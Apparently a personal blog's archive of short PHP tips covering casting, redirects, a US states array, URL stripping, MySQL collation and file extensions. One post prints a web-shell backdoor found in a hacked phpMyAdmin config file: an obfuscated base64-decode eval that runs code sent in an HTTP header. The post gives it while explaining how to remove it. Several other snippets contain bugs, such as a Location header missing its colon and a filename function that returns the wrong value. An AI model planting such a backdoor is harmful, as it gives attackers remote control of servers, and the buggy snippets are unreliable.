Entries Tagged 'PHP' ↓
November 28th, 2011 — PHP, Web Development
Casting is a simple operation that can save many headaches. The code below show you how to cast a string into an float or integer with PHP.
// int example
$string_number = "72";
$float_number = (int
) $string_number;
// float example
$string_number = "324.75";
$float_number = (float) $string_number;
September 27th, 2011 — Debugging, Internet Explorer, PHP, Web Development
Thank you microsoft for yet another bug that ruined some store processing code. There two bugs to look out for: not using a capital L, and not killing the process.
Example:
header(‘location http://www.mywebsite.com/relocate/’);
Bad code for internet explorer. To assure you are relocated and the page you are calling the header doesn’t magically reload itself and ruin your life:
header(‘Location http://www.mywebsite.com/relocate/’);
die();
September 7th, 2010 — PHP
A PHP Array of the States of North America, useful for database access when addresses are abbreviated
$state_list = array(‘AL’=>”Alabama”,
‘AK’=>”Alaska”,
‘AZ’=>”Arizona”,
‘AR’=>”Arkansas”,
‘CA’=>”California”,
‘CO’=>”Colorado”,
‘CT’=>”Connecticut”,
‘DE’=>”Delaware”,
‘DC’=>”District Of Columbia”,
‘FL’=>”Florida”,
‘GA’=>”Georgia”,
‘HI’=>”Hawaii”,
‘ID’=>”Idaho”,
‘IL’=>”Illinois”,
‘IN’=>”Indiana”,
‘IA’=>”Iowa”,
‘KS’=>”Kansas”,
‘KY’=>”Kentucky”,
‘LA’=>”Louisiana”,
‘ME’=>”Maine”,
‘MD’=>”Maryland”,
‘MA’=>”Massachusetts”,
‘MI’=>”Michigan”,
‘MN’=>”Minnesota”,
‘MS’=>”Mississippi”,
‘MO’=>”Missouri”,
‘MT’=>”Montana”,
‘NE’=>”Nebraska”,
‘NV’=>”Nevada”,
‘NH’=>”New Hampshire”,
‘NJ’=>”New Jersey”,
‘NM’=>”New Mexico”,
‘NY’=>”New York”,
‘NC’=>”North Carolina”,
‘ND’=>”North Dakota”,
‘OH’=>”Ohio”,
‘OK’=>”Oklahoma”,
‘OR’=>”Oregon”,
‘PA’=>”Pennsylvania”,
‘RI’=>”Rhode Island”,
‘SC’=>”South Carolina”,
‘SD’=>”South Dakota”,
‘TN’=>”Tennessee”,
‘TX’=>”Texas”,
‘UT’=>”Utah”,
‘VT’=>”Vermont”,
‘VA’=>”Virginia”,
‘WA’=>”Washington”,
‘WV’=>”West Virginia”,
‘WI’=>”Wisconsin”,
‘WY’=>”Wyoming”);
May 6th, 2010 — linux, PHP, Unbuntu
On one of my slices, my phpmyadmin shows a blank page every so often. This is caused by a remote code execution exploit. You’re getting hacked, but don’t be scared.
The bug/hack is single line in the file /var/lib/phpmyadmin/config.inc.php, which was corrupted.
Here is the whole file:
/*
* Generated configuration file
* Version: $Id: setup.php,v 1.23.2.8.2.2 2006/05/15 07:57:09 nijel Exp $
* Date: Fri, 14 Aug 2009 14:24:39 GMT
*/
/* Servers configuration */
$i = 0;
/* Server (config:root) [1] */
*$cfg[‘Servers’][$i][‘xxx’];$z=‘bas’.‘e64_dec’.‘ode’;eval($z($_SERVER[‘HTTP_X_CODE’]));exit;#’] = ‘yyy’;
/* End of servers configuration */
To fix this issue, Shell into Ubuntu and Sudo up
pico /var/lib/phpmyadmin/config.inc.php
Look for the line //*$cfg['Servers'][$i]['xxx'];$z=’bas’.'e64_dec’.'ode’;eval($z($_SERVER['HTTP_X_CODE']));exit;#’] = ‘yyy’;
comment it out with //
hit ctrl+x, press y, and lets reload apache
/etc/init.d/apache2 reload
To avoid this problem:
- Avoid using phpmyadmin.yoursite.com or yoursite.com/phpmyadmin
- Use Htaccess passwords on the phpmyadmin directory
March 1st, 2010 — PHP, Web Development
This code shows how to strip http, www, or any suffixes. The most efficient way is to toss an array at str_replace. If anyone write this will all the suffixes please post in comments!
function remove_http($url){
$remove = array(‘http://’,'https://’,'www.’,’.com’,’.org’,’.net’,’.co.uk’,’.name’,’.info’,’.cc’,’.biz’,’.us’,’.gb’,’.tt’);
$stripedUrl = str_replace($remove, ”, $url);
return strtolower($stripedUrl);
}
Example:
<? echo remove_http(“http://www.DesignCodeExecute.com”) ?>
Result:
designcodeexecute
April 3rd, 2008 — MySQL, PHP, Web Development
This post teaches you how to set your MySQL search queries to be Case sensitive or case insensitive.
It’s all in the database collation. MySQL by default search case insensitive. In phpMyAdmin or or Putty change the Collation of your fields. Collations that are binary search case-sensitive. Collations that end with _ci like latin1_swedish_ci are case insensitive (ci is an acrynm for case insensitive.
To change your Collations quickly run this code in a loop:
ALTER TABLE tablename CONVERT TO CHARACTER SET latin1 COLLATE latin1_swedish_ci;
February 27th, 2008 — How to, PHP
Striping the file extension is valuable on many levels.
<?php
$filename = foobar.exe
function returnFileName($fileName) {
return key(explode(“.”, $fileName));
}
// returns foobar
function returnFileExtension($fileName) {
return end(explode(“.”, $fileName));
}
// returns exe
?>
Result: foobar
Note: Spaces count, so count them!